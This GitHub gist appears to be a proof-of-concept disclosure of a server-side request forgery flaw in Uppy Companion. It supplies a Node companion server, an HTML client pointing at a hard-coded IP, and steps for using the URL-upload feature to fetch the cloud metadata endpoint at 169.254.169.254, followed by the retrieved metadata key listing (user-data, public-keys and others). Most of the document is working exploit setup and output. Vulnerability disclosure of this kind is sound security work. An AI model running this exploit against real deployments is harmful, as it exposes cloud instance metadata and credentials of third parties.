Skip to content

Instantly share code, notes, and snippets.

@netcode
Last active February 8, 2020 11:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save netcode/1c8c28943f82ed24f77773c28f031168 to your computer and use it in GitHub Desktop.
Save netcode/1c8c28943f82ed24f77773c28f031168 to your computer and use it in GitHub Desktop.
Uppy Vulnerability

server

  • create empty directory called output
  • run companion server
npm install express body-parser express-session upload-server @uppy/companion
node server.js

html client

  • Edit the html and add the companion server url
  • Run the uppy example html on the server

exploit

  • choose to upload via url
  • put any url to request : ex digital ocean meta data http://169.254.169.254/metadata/v1
  • upload the url
  • download the result file, you will see the request result
id
hostname
user-data
vendor-data
public-keys
region
interfaces/
dns/
floating_ip/
tags/
features/
<!DOCTYPE html>
<html lang="en">
<head>
<title></title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="https://transloadit.edgly.net/releases/uppy/v1.8.0/uppy.min.css" rel="stylesheet">
</head>
<body>
<button id="uppyModalOpener">Open Modal</button>
<script src="https://transloadit.edgly.net/releases/uppy/v1.8.0/uppy.min.js"></script>
<script>
const uppy = Uppy.Core({debug: true, autoProceed: false})
.use(Uppy.Dashboard, { trigger: '#uppyModalOpener' })
.use(Uppy.Instagram, { target: Uppy.Dashboard, companionUrl: 'http://167.71.177.19:3020' })
.use(Uppy.GoogleDrive, { target: Uppy.Dashboard, companionUrl: 'http://167.71.177.19:3020' })
.use(Uppy.Url, {
target: Uppy.Dashboard,
companionUrl: 'http://167.71.177.19:3020',
locale: {}
})
.use(Uppy.Tus, { endpoint: 'https://master.tus.io/files/' })
uppy.on('success', (fileCount) => {
console.log(`${fileCount} files uploaded`)
})
</script>
</body>
</html>
const express = require('express')
const companion = require('@uppy/companion')
const bodyParser = require('body-parser')
const session = require('express-session')
const app = express()
app.use(bodyParser.json())
app.use(session({
secret: 'some-secret',
resave: true,
saveUninitialized: true
}))
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin || '*')
res.setHeader(
'Access-Control-Allow-Methods',
'GET, POST, OPTIONS, PUT, PATCH, DELETE'
)
res.setHeader(
'Access-Control-Allow-Headers',
'Authorization, Origin, Content-Type, Accept'
)
next()
})
// Routes
app.get('/', (req, res) => {
res.setHeader('Content-Type', 'text/plain')
res.send('Welcome to Companion')
})
// initialize uppy
const uppyOptions = {
providerOptions: {
google: {
key: 'your google key',
secret: 'your google secret'
},
instagram: {
key: 'your instagram key',
secret: 'your instagram secret'
}
// you can also add options for dropbox here
},
server: {
host: 'localhost:3020',
protocol: 'http'
},
filePath: './output',
secret: 'some-secret',
debug: true
}
app.use(companion.app(uppyOptions))
// handle 404
app.use((req, res, next) => {
return res.status(404).json({ message: 'Not Found' })
})
// handle server errors
app.use((err, req, res, next) => {
console.error('\x1b[31m', err.stack, '\x1b[0m')
res.status(err.status || 500).json({ message: err.message, error: err })
})
companion.socket(app.listen(3020), uppyOptions)
console.log('Welcome to Companion!')
console.log(`Listening on http://0.0.0.0:${3020}`)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment